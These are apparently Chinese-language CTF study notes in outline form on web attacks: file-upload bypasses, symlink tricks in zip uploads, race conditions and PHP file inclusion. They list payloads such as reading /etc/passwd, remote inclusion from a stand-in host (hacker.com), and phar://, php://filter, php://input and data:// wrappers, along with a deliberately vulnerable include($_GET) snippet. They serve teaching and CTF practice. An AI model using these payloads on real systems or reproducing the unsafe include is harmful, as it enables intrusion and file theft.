·前情提要
·文件上传
·蚁键
·各种各样的绕过
·.htaccess
·软链接
·Linux软链接特性绕过
·软链接类似于Windows系统下的快捷方式(指向索引)但是可以链接目录
·硬链接相当于给文件多创建了一个索引(指向数据)但是只能链接文件
·CTF中的软链接
·读文件
·只能上传zip(zip软链接到假设的flag,前提:知道真正flag的路径)
·没有前端,如何上传文件?
–curl -v http://121.199.160.115:8013/index.php -F "file=@待上传文件路径"
·条件竞争漏洞
·Burp Intruder
·文件包含漏洞
·PHP文件包含
·在文件包含时,PHP会尝试去执行被包含文件中的代码(PHP文件包含特性1)
·特性
·可包含(访问)
·PHP文件包含无视后缀名解析
·文件包含本身是一种语言特性
·/index.php?x=1.txt (注意1.txt目录位置需要和index.php在同级目录)会显示php信息
·1.txt内容
<?php
include($_GET['x']);
?>
·假设无法上传文件
·/index.php?x=/etc/passwd 可以看到所有用户名
·/index.php?x=1.txt 读文件;/index.php?x=1.php 执行文件
·/index.php?x=http://hacker.com/1.txt 远程文件包含
·远程文件包含是因为在PHP配置(php.ini)中allow_url_fopen和allow_url_include为on(默认off)
·include($_GET['page'].".php") 只能上传txt文件,只能包含php文件
·phar:// 本质上是zip文件解压缩
·phar://1.zip/1.php 可以将1.php提取到内存(不生成实际文件)
·/?page=phar://1.txt/1
·php://filter/read/convert.base64-encode/resource=待读取文件名 蓝色部分可替换
·php://filter/write/convert.base64-encode/resource=待读取文件名 蓝色部分可替换
·php://filter/write/convert.convert.iconv.*.*
·curl "http://127.0.0.1:8888/input.php?file=php://input" --data "HelloWorld"
·远程文件包含 (CTF基本没有)
·?x=php://input 直接POST PHP代码(不需要写参数名)
·?x=data:///plain,<php? echo "Hello, World!"; ?>'
·作业
·技巧2
·技巧3